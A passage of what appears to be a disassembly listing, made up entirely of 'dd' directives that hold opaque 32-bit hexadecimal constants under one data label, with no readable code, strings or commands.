		dd 935F7D1Ah, 0CDBF3712h, 0D642F2B1h, 5896C5F1h, 7B0EB2A6h
		dd 0E9623276h, 5F0544D7h, 0EC67C9BAh, 0ADC092D4h, 65393BF3h
		dd 0D801277Dh, 5379D4D6h, 35BA3B75h, 8E94D481h,	0F45756FFh
		dd 3AEDBCC9h, 10E60AEh,	0BB0053C2h, 181552EFh, 2CE9DA29h
		dd 0EE813409h, 7F582790h, 410BEA45h, 98B17DE1h,	36AFE668h
		dd 9CD0C209h, 0A552F3BDh, 0C8C49A77h, 0C7D3D717h, 52B63Ch
		dd 0F65A66F1h, 0C1FED118h, 0DB75308h, 8E7C032h,	29608806h
		dd 0F8511342h, 0FDAB0E0h, 0FC705FFDh, 0CAE90BA2h, 11A7E8DFh
		dd 2DBF2764h, 0C5420F5Eh, 5E68538h, 821685FEh, 1DF4F010h
		dd 0A9671A2Dh, 4F1B819Eh, 9620B546h, 410E0BE1h,	105F4735h
		dd 5A6916A4h, 280805F6h, 9E82AE2Dh, 0FD9692CAh,	0BD05C4F8h
		dd 452A2F96h, 0B03FD1FBh, 93A83C49h, 600DB1AAh,	0FD585199h
		dd 67C0B418h, 5C3A6B2Eh, 1506C92Bh, 7856B834h, 0C065846Fh
		dd 83303136h, 79FF58EDh, 0D94B1B6Fh, 0FD70D776h, 0B87FE619h
		dd 124A902Ah, 0BFDD2561h, 0F6810D1Ch, 0E921E6C7h, 0AE1E5C7h
		dd 0E100B93Bh, 183861E9h, 3439FB5Bh, 0E86ECA65h, 0EC8BF353h
		dd 0F236EDABh, 0AB05779Eh, 0CDF6BE51h, 0BF96298Fh, 0A528A9D9h
		dd 0F87B4884h, 8BBEA4F0h, 0B5105CBAh, 4F7EA7B6h, 21F62D72h
		dd 32F42B5Bh, 57F6EDE9h, 0F7276AD1h, 0AC020090h, 0F4AB1CD2h
		dd 7B055FE7h, 0F7315B75h, 0EF02B6E6h, 0D2BC4265h, 405B41E9h
		dd 0DA548FD9h, 9515014Ah, 0BF570103h, 0BC03897h, 5AFB9B42h
		dd 1FAFB7CFh, 0BDE09166h, 9F7BF69Dh, 0E6F20B50h, 46A51C74h
		dd 0F5FEBD1Ah, 5D9DE642h, 0D4880F18h, 0C9E30FB7h, 80936008h
		dd 4B8478EBh, 6D37A146h, 0AB891A7Eh, 5B44F620h,	9CADDFAh
		dd 0E31866F8h, 104A5958h, 0FADA4B30h, 0EF7AD4Ch, 0BFDF402Dh
		dd 16089503h, 0E7FE8934h, 68072D9h, 225026EDh, 0E609FE25h
		dd 605C0F30h, 809BF520h, 0FB58B353h, 301A04E9h,	88EB5BD9h
		dd 51FE2C5Fh, 11F76837h, 7E8036D2h, 7BE78727h, 0D859561Eh
		dd 75C20B9Dh, 0B6B4CE6Ch, 2166861h, 8A67A22Bh, 0C7A8B25Eh
		dd 774DD701h, 0EAE8E944h, 5BDE9D50h, 854ABF29h,	0E9C2B5DEh
		dd 9DF25FE0h, 5D57802Ch, 9E052582h, 3B625D61h, 769D2CD0h
		dd 7968618Ch, 9E3D7C33h, 3034F809h, 4C4EE268h, 0F2007BD4h
		dd 40706890h, 0A59405E9h, 5388D62Ch, 97DE28FAh,	0B69ABEB8h
		dd 49D6F92h, 1AB18666h,	4C09CB2Fh, 62E65B44h, 8CE95281h
		dd 820A3259h, 577D7268h, 26C7AE16h, 6F053D6Bh, 987D4BFh
		dd 8ED45908h, 20DAC45Ah, 801C32ABh, 0F01ED6C6h,	0D4537192h
		dd 44D72FECh, 1EDFB29Eh, 1710EE18h, 0FDD9B5D6h,	3CD28544h
		dd 4B13C829h, 50ACB46Ch, 0E69D5665h, 0D26804B7h, 814F272Fh
		dd 113F84Bh, 9B20E3B8h,	0B5C2BF55h, 1290BB63h, 229872E5h
		dd 6C05BC02h, 0F9F03142h, 0EBBC62A9h, 3C87709h,	9A2C382Eh
		dd 89894DC7h, 758DBAC6h, 1890AEF4h, 6815CC5Fh, 5B3B7D31h
		dd 0F86AC6ADh, 2F44C2D0h, 0E758E1AFh, 732C852Bh, 0BE95877Ah
		dd 0AE2F3539h, 0E87B4879h, 1754E394h, 0E496E9F5h, 4A1E508Eh
		dd 4EBF3027h, 0C05E330Dh, 20EB6681h, 3A7D6605h,	800E1F5h
		dd 95B7A9E9h, 0CE55171Ah, 0A96814EBh, 54C4D953h, 0ECFFC05Dh
		dd 5EC96317h, 54197DC1h, 5C19A5EFh, 0ABC58121h,	221F3C42h
		dd 45084152h, 4AF7EA35h, 0E194E913h, 2EF82EA9h,	30B55ABCh
		dd 242CEE3Fh, 2F6B7B37h, 6CDD548Bh, 0B914490Eh,	4B70A22Ch
		dd 3F83D7F4h, 7EDA76h, 0B84D650Ch, 0D85DE978h, 0E42AD697h
		dd 2F40B153h, 73CC69A0h, 0CDEC3840h, 2839EC4Ch,	9B3BEDCCh
		dd 90B25201h, 0E807E2C0h, 5002D5C2h, 7BE954B4h,	73987561h
		dd 531796B1h, 1CAF25B7h, 6DF7CE43h, 0CFCCFC6h, 0BC59D69h
		dd 7F9C8938h, 0A7BC15D3h, 0F8395FC3h, 3D9C7592h, 0C2A0E41Ch
		dd 653B26Ch, 0A53192BBh, 0C109FA7Ah, 786F48CAh,	7D729DF1h
		dd 7ABD4A72h, 54FE5C82h, 1666DC1Dh, 9CD3006Ch, 814A945Ah
		dd 4355E70Fh, 0C0EAB7F7h, 0EA6E204Fh, 4505A702h, 5D52E915h
		dd 0E2580C02h, 0BFBE3977h, 12378030h, 0D7F745h,	600FB0BCh
		dd 0E917436Bh, 50D18CEBh, 7B0A12DFh, 24F35B5Ah,	89F680Ch
		dd 0F04FDA1Bh, 5626DBA3h, 24DE1020h, 0EC006A51h, 0B96FD822h
		dd 0E15E38C8h, 0F7D6F49h, 7C7360CEh, 2959CA01h,	9C55EED5h
		dd 0BBD8BDC5h, 0E994D9BDh, 2D537021h, 0CC728239h, 0E302992Eh
		dd 2C046003h, 0FD6DEFB5h, 0E9D62905h, 45AA31BFh, 0E29EBC06h
		dd 0DB387E66h, 0EEFC5F2Fh, 4C2E2A1h, 5751A105h,	0DF52EB82h
		dd 5ECE3CA0h, 5C5B4256h, 475C1CAEh, 0E0271A03h,	0C71476F6h
		dd 2CC220FFh, 9C28EB13h, 0B435C3BEh, 7A7CB9F9h,	706E1F1h
		dd 47A1209Ah, 0DFBB80Eh, 0AC052F1h, 40D0F7h, 0CC866905h
		dd 234D6801h, 0B5684C9Fh, 0FE5B2B25h, 14D6C29Ch, 0D5402968h
		dd 30CBFA13h, 45EF81C8h, 85C1075h, 794E5F95h, 188C1630h
		dd 77925B70h, 0ED8B287h, 62286CC5h, 532D2A02h, 83F8013Dh
		dd 14C9B329h, 0C1DEF678h, 1FA28E27h, 0E3C58BC1h, 24A64C25h
		dd 0BE2FC1CFh, 0BD0F3077h, 5F42BE0Eh, 726F3D27h, 59CE011Ah
		dd 0F7702203h, 0FCE23ED6h, 9EED044h, 0B596559Ah, 4D5AAB80h
		dd 293435E6h, 80C7AF5h,	12251E5Eh, 0B8B7881Fh, 88B24BF8h
		dd 2B63E810h, 0BF20855Fh, 3AF771F9h, 5DF478FAh,	6DE9294Ah
		dd 30C62993h, 0E5CECF1h
		dd 9BF4D9C3h, 0B8009938h, 37F95D7Bh, 2B00F82Dh,	0A62508D7h
		dd 900E7A2Eh, 60610985h, 815E3FC4h, 7DE5AF15h, 8AFF544Eh
		dd 0F2AED3E3h, 2BADD330h, 3D83AAA5h, 5C189ED1h,	0D04F7FFFh
		dd 0B759C608h, 0F66B702Ch, 0FD16F31Ah, 20387FF8h, 54164079h
		dd 4019F45Eh, 8CA55484h, 0E9D06CA6h, 2DA29CF2h,	134BFA50h
		dd 8AAB5484h, 57C099FCh, 0EFB0273Ch, 4258E753h,	0BAB4851Dh
		dd 0BFE41CACh, 0E1877E81h, 8917E86Ah, 0BE87603Eh, 4333173Bh
		dd 24ADEC21h, 8139E492h, 7917E281h, 9C82777Dh, 45BE085Bh
		dd 681D0F55h, 0B6520463h, 5CCBDC9Dh, 74B5D470h,	0C2CFC502h
		dd 27FE7BB4h, 9954F88h,	6ADFC329h, 6DE200B7h, 0BFD9BC98h
		dd 0FE1E1684h, 663D7616h, 4020BA3Ah, 0CF0137E9h, 2135D16h
		dd 4D6668DBh, 92679256h, 0B8EE64A4h, 447298D8h,	6B0D2D42h
		dd 1C18BFD0h, 630C32AEh, 462F2966h, 25FBC1C0h, 0D96D6157h
		dd 88B90007h, 2837E658h, 40B1CB21h, 0C109054Fh,	52CF45Fh
		dd 7022D78h, 7944295Ah,	4DA22824h, 6656DD6Fh, 9B81FBD3h
		dd 313F41F7h, 7AED8B4Fh, 5D5AF331h, 0A74DBC2Ah,	0E95648F9h
		dd 6F81E973h, 640637EBh, 3E512446h, 7188D05Bh, 61EF9051h
		dd 1D1E798h, 0C90C6009h, 0F26D9409h, 152F8263h,	40EF9022h
		dd 0A46CBC2Ch, 0B3DF89AEh, 4377E69h, 4299A9EBh,	10B548D8h
		dd 5C3BBD7Bh, 1C847A10h, 0B628882Ch, 5C33B20h, 1E1005BDh
		dd 2245AA5Eh, 78CD6EAh,	73F05020h, 218B4191h, 0E2AF0FBh
		dd 0C7816401h, 166C7838h, 385C5B70h, 0A1CA7AA2h, 0E5A27B21h
		dd 0FE3C73C4h, 0BCAF1A98h, 0A7F625CFh, 0B28743D0h, 0C5312877h
		dd 1E902D48h, 0F1080165h, 7558251Bh, 69277793h,	957A0902h
		dd 9360BF36h, 12A4F281h, 0AF596030h, 0E23EF7B3h, 45750D89h
		dd 83ECF55h, 501FBC9h, 31F621DEh, 3F2879D4h, 5AA57F06h
		dd 0EE64EE8h, 5DA43A13h, 0FFCE7040h, 49C2E9EAh,	0DE86476Eh
		dd 0BA0550D0h, 613E110Ah, 0BE05E385h, 0BF031962h, 76E05E8Eh
		dd 0FAF0E48h, 0D72D2925h, 0C080628h, 0B7621482h, 0EF012004h
		dd 5ACD0DFCh, 87D6E02Ah, 0F8212B17h, 0F7E2D0EEh, 0FAC14DD5h
		dd 0AF8D3954h, 1779BD7Fh, 93C3CAE9h, 49E0B4C1h,	3C7D053Fh
		dd 80F10934h, 5053C9B4h, 524A2EF6h, 0B98F90AAh,	452C3CF7h
		dd 36046803h, 39F00567h, 9A7D048Ah, 0FAD08954h,	4761DBCh
		dd 26E958C3h, 28DBBC6h,	0D773EBE4h, 91C2FB12h, 59525043h
		dd 83A4BE54h, 0AE841E12h, 387B2FB3h, 95708292h,	0CBEF71DCh
		dd 0F637E01Ch, 0C4801EDCh, 0F2C08C64h, 0ECEED415h, 5F9D7970h
		dd 449562BCh, 5C413BBFh, 15960920h, 0B0194666h,	91C05AA6h
		dd 9EDCB890h, 0F724C29Dh, 4065D01Ah, 0BD33DED2h, 6A0230B2h
		dd 0AB444A51h, 7278AF02h, 62F30143h, 78080958h,	150B9587h
		dd 5ABCA2E5h, 7F687D04h, 8963F9EEh, 0A02EF3F7h,	4B1AFE4Bh
		dd 0F13928C9h, 40FFC05Eh, 75D0C15Ah, 7E95252Dh,	238EC747h
		dd 3FAA6193h, 847F84A9h, 0ADBFD924h, 405E2F06h,	3C709BFh
		dd 62E78158h, 6F97752Bh, 8EFCE221h, 7CFC6AD7h, 0ED96E909h
		dd 0F038525Dh, 27DF4F55h, 7E257F33h, 8363B80Bh,	18710668h
		dd 873A0AB9h, 0EB5E2858h, 0D9CAFB44h, 0ECD2C3E6h, 0E9EFA476h
		dd 64EFB45Bh, 16E8BEAAh, 86DCFB4Ah, 5E1FA50h, 6B68EE2Ch
		dd 0C74BBC7Eh, 8BB366A6h, 375A616h, 0EF8036B5h,	579F2886h
		dd 0B97659C7h, 0B9E95305h, 3C7806ECh, 6035F901h, 0D7331F9Bh
		dd 318DE0C7h, 180A759Dh, 342971AAh, 0BABD5CEFh,	0FC3C4083h
		dd 2FAC2F58h, 0F2EE047Dh, 0C6871082h, 4D419F38h, 7E56F88Ch
		dd 8B3E3141h, 16950497h, 61801B02h, 4F342B4Bh, 9F9DB019h
		dd 0C6B50524h, 1256F908h, 0DBD30B5Fh, 9E62E3D6h, 0CF4B801Dh
		dd 9D7C2874h, 0D10547C0h, 0FE02C0Eh, 8616000Dh,	344254Eh
		dd 2D63171Dh, 42D91CFCh, 62B73F89h, 0C425E84Ah,	651EEDE6h
		dd 62006AF5h, 0F55975E1h, 0EB5D5250h, 45E44988h, 7D2B0927h
		dd 0E5D15498h, 7309F091h, 5DE5DDC2h, 284D9A7h, 671D18B0h
		dd 27A2FB55h, 0E427B5Bh, 0CB651E6h, 3164AF4Fh, 14E2F54Fh
		dd 0A97D2DC9h, 40CD8B3Eh, 2DEAC0FDh, 0AF566606h, 0A148411Fh
		dd 42801F1Bh, 0A5B75368h, 0A8A8D584h, 3E7BD520h, 0BE5E4098h
		dd 0C75765BCh, 112385Fh, 12CF2AAh, 8064B252h, 7A8519F2h
		dd 908AE903h, 2B366834h, 2C5E8465h, 0D584A2FBh,	72097C58h
		dd 0DF4E6C74h, 0E016E601h, 0F40C8177h, 5631696Eh, 48F7B96Fh
		dd 7E6022AEh, 0F47813F1h, 0CD7FB20h, 1035E1B0h,	200858D5h
		dd 0AF95135Ah, 994CC0F7h, 0CD26A101h, 3EDEF776h, 30E830A1h
		dd 0E96E09FEh, 0AF5EDB8Bh, 0DACAA62h, 8A59F844h, 0E2357401h
		dd 31010746h, 8EC1817Eh, 0C4820485h, 0D105556Eh, 0B206AA09h
		dd 4A10A972h, 8433BB5Dh, 0F21402C2h, 3C8FE90Eh,	5CC42071h
		dd 0D893399h, 9784478Fh, 3BBFF1BAh, 0E9C38AADh,	0FE85C4B5h
		dd 4008B32Ch, 0B81D6673h, 29256BE7h, 0EAB609EBh, 0ACDB61D6h
		dd 82E40915h, 0BC272F5h, 0B8F5F84h, 71032958h, 29203070h
		dd 9D98E4FDh, 0C6BB0753h, 0C01D363Ch, 51758CCBh, 27255C90h
		dd 0CAB2FFE5h, 68753142h, 5FC368C5h, 9138300Bh,	83FCFA6Bh
		dd 0E801E926h, 0A071203h, 7288C15Ch, 326B26Ah, 0A09A97F3h
		dd 57B6EA7Fh, 0E05FB378h, 830B71BAh, 8F342BE8h,	1FB2182h
		dd 60C1015Eh, 331FA18Ch, 408B6B3Dh, 0DDA527B1h,	6C7F5D1h
		dd 85AAB5FFh, 7E25EE50h, 7A812DEEh, 40C8AAE4h, 8D0FB6BCh
		dd 5DECE680h, 0D5273612h, 0E0C266EFh, 24E37E06h, 933FB604h
		dd 82B50588h, 0C44EF81Ah, 5909C8AFh, 7CBF11D8h,	0B9B6780Dh
		dd 0F2D6C697h, 0ACB24095h, 0C04D03FEh, 4B9184DBh, 5932BB03h
		dd 0CF8021CAh, 10C817A2h, 0F00BB4A4h, 75520267h, 3D12978Ch
		dd 1DCA3226h, 90B3F80Bh, 802C285h, 0FB0169CFh, 0D5950820h
		dd 0F2BA1EA0h, 637AD911h, 14C78D30h, 17635B8h, 322D05A2h
		dd 0E43E1B36h, 0C52C33E5h, 8002238h, 5E202F0Dh,	1E0F047h
		dd 0C0B22D07h, 6A89DB35h, 0CBB662Ch, 53C679BEh,	7046CAEh
		dd 0CB2977BDh, 43ED21C0h, 49662D26h, 804646Ah, 7766805Bh
		dd 0AF98AD64h, 5E0128F3h, 4C8961EBh, 88FC2BB7h,	0B45518Fh
		dd 0C6E89329h, 0A0ECCEB9h, 80B0D822h, 0B50EF761h, 54FC50CAh
		dd 0BD2CC077h, 733721CFh, 0FA8BE1B8h, 413C8205h, 0C140573Dh
		dd 3F74D2EBh, 4BA9B86Bh, 22C2BAD9h, 5406E858h, 0C645B55Eh
		dd 5A28B483h, 27520222h, 4B374F32h, 2E35D140h, 0D139997Eh
		dd 76E32DEBh, 6A3752h, 0E9DC9FC9h, 0EF91B0FAh, 39285A00h
		dd 95EF8131h, 68B093FAh, 82322BFBh, 0B00F5A57h,	647D2511h
		dd 0B8E88EDEh, 89CA2335h, 86E92361h, 0CDD17ACFh, 0D00645CEh
		dd 798B148h, 0B72CD4E9h, 0A704C803h, 0C5735FF9h, 0AE580244h
		dd 0CE9D0318h, 8B9DDF3Fh, 2F934002h, 5DFF5E27h,	0C9F831CCh
		dd 54C8095h, 0BF414307h, 402DD3E1h, 0A336E907h,	8EE8DC94h
		dd 5FCA6841h, 1BE0CF4Dh, 0D120B47Ch, 695D59h, 0B5721BC5h
		dd 4CC67748h, 0E8EA12C8h, 0B0C5344Bh, 7089689Fh, 16D59551h
		dd 0B32BB71h, 0EF4CB1ADh, 0A40F6B9Dh, 2701D190h, 0BF1F481Ah
		dd 0A893053Eh, 3A86D1E4h, 0DEAB69BEh, 8743BDD2h, 835BFD28h
		dd 43E8D1F5h, 0EC1CBD2Dh, 305D2D78h, 80C79AF8h,	6BF7BC68h
		dd 1F5BE5A7h, 3EEECBEh,	76A1576Ah, 0C3B081ECh, 0A18A2C8Eh
		dd 0A3330DE6h, 0C2685D04h
		dd 7960EF17h, 0BDF45FE9h, 1C795456h, 4B68094Ch,	0E75E57F2h
		dd 38270FFFh, 0DA31E40Dh, 0F989738Ah, 5D272A54h, 42A7644Fh
		dd 0D84CC077h, 0A04D5F3Bh, 0C0A43582h, 1CFF024h, 4196C691h
		dd 26415279h, 0E8823E4Bh, 6842E253h, 3EECBBF1h,	33CC1B42h
		dd 0A1EF327Ch, 0B07A2D18h, 0A9BA5227h, 14927EBBh, 0C55AED5Dh
		dd 24A7FA26h, 2E730150h, 8B19F56h, 0DE2F1971h, 52E61E37h
		dd 5BB5A024h, 0C8D5CB97h, 41EC06Ah, 6368EFD1h, 7384E303h
		dd 0F3FB14EBh, 0C5931C8Bh, 999CD52Fh, 0C6BD3B7h, 5F0AA652h
		dd 958B094Ah, 797BB25Ah, 0E5B55316h, 67026B04h,	7E89BF17h
		dd 9297A82Eh, 0AC25F81Ch, 4BD31243h, 5966ACE0h,	5D0AC405h
		dd 4DE44299h, 87B39FA6h, 0DF06264Bh, 4A9E0559h,	6006C01Eh
		dd 264EEE70h, 0FC5513ABh, 6B0B4169h, 0D610ED8Bh, 0C85C2FE8h
		dd 820BF82Fh, 4670BB82h, 58218909h, 5999C943h, 0F560D09h
		dd 0FC994B38h, 9BAE2754h, 0C1417F42h, 11DB393Fh, 0C4E9F790h
		dd 0DF825392h, 0A268E580h, 10585C3Fh, 335A1A18h, 8ADD841Dh
		dd 1029F612h, 49120C89h, 840C749Ch, 4E8F80B8h, 6301B82Eh
		dd 47D1B6BFh, 0A76A019Ch, 6E601095h, 16F3EC5Fh,	3DF30EFFh
		dd 6134BB0Ch, 7E608B84h, 0B652C8F1h, 0E6C0265Ch, 0B0C112BAh
		dd 0C202861Fh, 6846E280h, 0D431F705h, 31A92DBCh, 7B414EDAh
		dd 0D02577BFh, 2AA437F0h, 0C7921BCh, 2025EF4Ah,	0C525C0Ah
		dd 5E0CB948h, 0D5EA832Fh, 9EF96D1Bh, 7D81AF3Fh,	0AA132600h
		dd 31043D0Ah, 0F85EE9FAh, 6C22CCEBh, 24C12D40h,	1FA207E2h
		dd 27FCBFCh, 0DF20097Eh, 0B43289E9h, 6F62776Bh,	0A8B28289h
		dd 6C916EC1h, 38FA4BB1h, 0A14D67F9h, 652916A5h,	9553B088h
		dd 3B51BAE1h, 94E927AAh, 4783A4CFh, 0BB41E65Ah,	60D13C13h
		dd 0FBDB602Eh, 40B73F0Fh, 2E656CF7h, 0E706A4Fh,	71608143h
		dd 55274521h, 5A24BD04h, 0DA876756h, 5DA625F2h,	6AE940E8h
		dd 68B3CC54h, 7BCB755Dh, 4A6D0938h, 0B4BDD8EAh,	7DB1C295h
		dd 88504974h, 6FCCB9CEh, 0EFA2F56Fh, 8C595A59h,	37176885h
		dd 0E0938A3h, 0D85E362Ch, 285B1D3Ah, 2890FB7Ch,	95B4702Ch
		dd 0C85A3583h, 0E003D14Fh, 77A5DDEBh, 17E2763Ah, 0E321E91Ah
		dd 29C05528h, 1CB35BFEh, 0A5B25200h, 0C462BF68h, 6FFFBh
		dd 0B50158B9h, 0E849BF70h, 3C42FC81h, 0C5CA837h, 635226C1h
		dd 8620A8F3h, 1501F9Fh,	71E756CBh, 1286280h, 0D33E07B6h
		dd 0E473D865h, 53832C01h, 7D0411B7h, 4B1BE20h, 0E9DAC680h
		dd 6FACA1D9h, 108A379Ch, 204F936Fh, 11F70244h, 7C294806h
		dd 8246E6FDh, 7808000Ch, 0A3222F57h, 4E32C01Ch,	242FB41Ah
		dd 556A4BE4h, 2487D932h, 51FDC077h, 480ECD81h, 0C316BC47h
		dd 0E04F7BF5h, 0B1E90157h, 8668613Bh, 0E303F22h, 493C5523h
		dd 894BC00Dh, 0A1E82EC5h, 17D9439Fh, 0F2E0218Fh, 0A60115Dh
		dd 793BE918h, 0EA125BB3h, 5B08CA10h, 0A612FDCBh, 7DDCAD88h
		dd 26DEEF06h, 0B100999h, 5BF8684Fh, 372D99E6h, 573075C7h
		dd 68959F6Ch, 1256EFE2h, 0BE777469h, 30086C50h,	2C0F0E5Bh
		dd 68537FD0h, 30082EEFh, 5C73FC0Ch, 0A65D3628h,	9030A709h
		dd 17F7F461h, 0B125001h, 0BF575009h, 2180AA75h,	4913B310h
		dd 0AE4E1F91h, 0F0B0C41Eh, 1A09BE3Dh, 6389604h,	214E155h
		dd 7593CB81h, 0C60453Eh, 0F430036Dh, 236F1870h,	32764C54h
		dd 0AC355900h, 5BDD89B6h, 0FEFF5528h, 0ED00A790h, 31F94502h
		dd 97A550E9h, 0B8C0B756h, 485E4727h, 1927D579h,	69EF14DEh
		dd 2B16DF5Dh, 8000F2FBh, 0D228B4F3h, 3DAA0D78h,	1A6C2045h
		dd 620C0318h, 2F6BDEBAh, 287F3376h, 0EE0399A4h,	9358217h
		dd 0CA21340Ch, 0EC930D0Fh, 6C5D0852h, 3BF2025Fh, 427F4CA2h
		dd 1DC10812h, 600D2F3Fh, 0EECCFE6Ch, 41AB4E88h,	767C006h
		dd 0C49A7038h, 6160DD7h, 2751B9D8h, 97DF0868h, 0C2B02DA9h
		dd 15252568h, 0B285091h, 7F0D08D4h, 0BF0487C4h,	32042017h
		dd 4D2241EFh, 8E10CD2Ch, 0A952310Ch, 0BC235637h, 0BE98A720h
		dd 2C321620h, 184630FFh, 18F751B4h, 95B0AC7Eh, 8E3BAE0Bh
		dd 0F575425Fh, 42770732h, 613A55BBh, 20605257h,	4A894C1h
		dd 0EAE5F888h, 6FB5BEE0h, 0D2535296h, 0C05605BBh, 0D454C3F8h
		dd 0E0E07E4Eh, 5EF63B81h, 0F053D996h, 39DC68CEh, 74442912h
		dd 0BFB72A8Fh, 6E3BD658h, 0A90EDF92h, 59084076h, 546B4FB6h
		dd 0D2E904AAh, 1CFBF74h, 0E2EE3217h, 0CDC68640h, 8DBB0116h
		dd 0F764EF19h, 0CBB460D3h, 6D152F01h, 637CE94Eh, 0A571572Eh
		dd 99FD7B8Bh, 0B22C8117h, 7A80419Eh, 0C4BCAB52h, 0DDD3EE96h
		dd 0C6871FE5h, 2014491Eh, 68417176h, 75C21D69h,	0E9C20B79h
		dd 0A9FE4BE1h, 0FF2E93F0h, 7FF59537h, 7C09AF0h,	0C28006E2h
		dd 67CA3315h, 6010C33h,	0C4D3825Ch, 0C1525C54h,	0F12642Dh
		dd 0CF4C11ABh, 0B7D6C937h, 0E21C5A50h, 2D567C63h, 0BC7C98C8h
		dd 0B3A47FEFh, 4B005997h, 11697D9Bh, 0C3B94C1h,	0EA4DDD2Fh
		dd 5D996AB7h, 0E916EE5Ah, 15F4B82Bh, 0EA287347h, 0C074EBC3h
		dd 0EAB03D50h, 4BDC97F9h, 0E4D05600h, 0B88DEC80h, 5132B5E8h
		dd 0DFF3E875h, 0CF6096B3h, 9EF39F09h, 0A78B4A08h, 0B7E546D7h
		dd 0BA3B3B66h, 274A992Fh, 0D8B2BC0h, 8C5CD001h,	0DE2D544Ah
		dd 6DDDD295h, 0E907153Ah, 0B9392441h, 0E8444F13h, 0B4B7F410h
		dd 6764E90Ah, 20CE1956h, 9A043E1Ch, 38A89E10h, 23966883h
		dd 76A3AB85h, 981822C5h, 4800ABEEh, 0B85029BDh,	4BA90FDAh
		dd 539804Dh, 0D055E8Dh,	73D0E926h, 602A5758h, 256700D8h
		dd 133B493Fh, 539E8C1h,	0E9012E48h, 0F7B0BDE2h,	0BA00AFFBh
		dd 0A6B1D91h, 0A5D74829h, 12A8CF34h, 17308B0Bh,	0E241987h
		dd 1F76AD88h, 0D71F3E25h, 2DBE40EAh, 22C652B0h,	4C0481EAh
		dd 0D8017A3Bh, 0D7C6D81h, 0C7022F73h, 0B5599F99h, 94424355h
		dd 4E89E85h, 30C721A1h,	2D91E691h, 0ED20BEA2h, 0B65B5BF4h
		dd 0E9F19806h, 0E734FDD5h, 0D6320986h, 88553103h, 0AF0266AAh
		dd 0E03E9572h, 254AA53Eh, 91DA067Bh, 6BA9F337h,	5AA36D62h
		dd 2E280935h, 64404A93h, 1BD06330h, 410D7FD3h, 8329164Bh
		dd 1F9712E9h, 29DC60C2h, 691F677Ah, 0CA82D2F7h,	8E8D6A64h
		dd 27E8A8B9h, 0BF3514FFh, 0C57A8258h, 0FEEA2827h, 0A10B27E3h
		dd 0B5A23F4h, 0D13F7C9Bh, 2A3F2056h, 2DAD4A00h,	120F3540h
		dd 34577B0h, 681D5820h,	0E22FC689h, 183E99C4h, 4F063C33h
		dd 5A499414h, 0E661DE1Fh, 1808D7E5h, 2DDB2008h,	794B8459h
		dd 0D5A8083h, 0F297B749h, 9DCE9F9h, 0B420C02Eh,	8057B339h
		dd 8560E339h, 0DBF699CBh, 2DBA86C3h, 21D73806h,	43846815h
		dd 0BAD20368h, 0E957FE30h, 8D62B5A4h, 79EC7Fh, 1959090Dh
		dd 620F0576h, 0F71E8D0Eh, 0C080FCD8h, 0B86894C6h, 0A1C59140h
		dd 0E7E904CDh, 0F2810108h, 53DC6E67h, 5AD52C09h, 5E2E0807h
		dd 9CE04312h, 2C061FEDh, 0A124523Bh, 9B036007h,	8B4A71B5h
		dd 0D870B753h, 0D75C5570h, 2CA73450h, 967533C7h, 0FD59E049h
		dd 0DA34C0CEh, 0B8BE2A95h, 978AE412h, 0C138E917h, 40F201FFh
		dd 9413B3D9h, 745E292Dh, 0D8157B3Ch, 1C59DD89h,	0CB0F53B1h
		dd 6DB6C059h, 7B82F680h, 0CEE91366h, 0E5918933h, 9DF67B68h
		dd 7855E909h, 8D20A05Ah, 12BF0790h, 0A236D33Ah,	4CE9C108h
		dd 0DC42DCF9h, 0DF4E269Ah, 974602BEh, 8BF7C49Dh, 0F4AEC1D5h
		dd 2FDE67ADh, 926D903h
dword_563D48	dd 1B39E10Ch, 0DA59D7C2h, 88CED6CBh, 752754A3h,	7BB32F99h
		dd 0B6BAAD00h, 0A1340718h, 0D94B298h, 0DE27D501h, 90BFB180h
		dd 4C606531h, 0E28C4AA2h, 0BC2D00ABh, 2950B772h, 7A205F8h
		dd 5865E05Fh, 0FCF14A21h, 126120ADh, 9A5BB53h, 6585B443h
		dd 0F528BF1Fh, 6810FDABh, 65E92334h, 0E9142141h, 0BB63F25Fh
		dd 0E9FA87F8h, 48556F4Dh, 0D6C12F22h, 50F61A0Dh, 0E9D309C3h
		dd 0F0C9D2D7h, 340A0176h, 5BC2D649h, 95C5C679h,	4D49B05Dh
		dd 0C8B3808Fh, 0D46939B8h, 40018506h, 809FF2BBh, 0B64BA5CDh
		dd 4F00982Ch, 173FE2CFh, 78014D5Dh, 7C545159h, 8101C33Ch
		dd 6A4232C5h, 5A3E80E1h, 0C1402123h, 0FD055BE5h, 0D2C20028h
		dd 0CFE9320Dh, 7E1895CCh, 0AC1422B8h, 639C8116h, 0B2C16956h
		dd 2E846005h, 4A6D7655h, 0CACE0A29h, 2012ACADh,	0C2EB6585h
		dd 9EA6EB56h, 7000A04Fh, 0D808B727h, 0AAC134E0h, 5F36AC11h
		dd 6F6429FFh, 0EC1974E0h, 0AC224F05h, 2611B084h, 3D6948C0h
		dd 5018220h, 51A6ED58h,	0F56CC609h, 7DCE3B1h, 506CE1B0h
		dd 517C2599h, 0D5F74B83h, 67E90B1Eh, 0A0B72831h, 3EC6E02Eh
		dd 30EFAD4Ah, 78760576h, 0C63B0132h, 49078B2Dh,	1EF450Fh
		dd 74B55132h, 9670F580h, 500B7C06h, 53667578h, 3053B702h
		dd 5026E9FDh, 965D714Ah, 2A4682Bh, 9A57BD2h, 8430A280h
		dd 24C1F65Ah, 45DA486Bh, 0C0A51130h, 54C0B82Eh,	0D5986879h
		dd 4152B49Eh, 342D1B94h, 679E333Ch, 31F5C913h, 883A817Ah
		dd 0C57C7842h, 0F5E1D35Fh, 4F92A7Ah, 0A247E95Ch, 0BBF841AAh
		dd 0EC317F70h, 5E81AD76h, 7D059950h, 11074CBh, 37BC13F0h
		dd 0A62F83E9h, 6C2F3F81h, 9544E3Fh, 0ACF8E6EDh,	626FF997h
		dd 5604D96Ah, 2E03A6D0h, 79749838h, 9E0B0EF3h, 0B588E90Dh
		dd 1C6F0907h, 75F28582h, 0B7642E7Eh, 25C3CB52h,	3530555Bh
		dd 0AD2816F9h, 8900A66Eh, 4707A617h, 1D42E781h,	0ED24C002h
		dd 0B2051E27h, 82D78CD2h, 7D5750CDh, 119D7FC4h,	8742F295h
		dd 71887F63h, 546A00F8h, 0CE010B41h, 0B24B9AFAh, 5170F3F4h
		dd 60F64CD7h, 0F80E1B75h, 37AF5E21h, 674D36B0h,	8F001E90h
		dd 8120D30Eh, 21E2EF6h,	0DE8721B1h, 2B7DE943h, 7ABC000Fh
		dd 0B80F7D03h, 1BD60BCAh, 0E70029A3h, 4A180454h, 5D007F95h
